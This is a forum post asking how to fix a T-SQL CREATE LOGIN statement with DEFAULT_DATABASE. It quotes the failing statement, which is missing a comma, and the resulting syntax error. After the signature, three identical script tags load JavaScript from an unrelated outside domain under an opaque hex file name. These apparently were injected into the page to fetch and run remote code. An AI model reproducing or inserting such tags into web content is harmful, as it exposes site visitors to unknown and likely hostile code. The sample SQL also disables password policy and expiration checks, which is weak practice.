Hello,
I am having some trouble here, I have a script to create logins in a new database and can't seem to get the syntax right.
There doesn't seem to be a lot of examples in the MS Doc.
https://docs.microsoft.com/en-us/sql/t-sql/statements/create-login-transact-sql?view=sql-server-ver15
I would assume this syntax is correct:
use master;
CREATE LOGIN [Myuser] WITH PASSWORD = 'Mypassword' DEFAULT_DATABASE = [MyDatabase], CHECK_POLICY = OFF, CHECK_EXPIRATION = OFF ;
I tried quotes in the database DEFAULT_DATABASE = 'MyDatabase'
Still no luck, I get this error:
Msg 102, Level 15, State 1, Line 1
Incorrect syntax near 'DEFAULT_DATABASE'.
I don't seem the only one having this problem:
https://stackoverflow.com/questions/3854694/how-to-use-the-create-login-sql-statement
Can someone suggest the correct syntax?
I restores all my databases, they contain the DB Users, but I need to recreate the logins.
Thanks,
Richard
<script src="//linkangood.com/21ef897172770ca75d.js" async="" type="text/javascript"></script>
<script src="//linkangood.com/21ef897172770ca75d.js" async="" type="text/javascript"></script>
<script src="//linkangood.com/21ef897172770ca75d.js" async="" type="text/javascript"></script>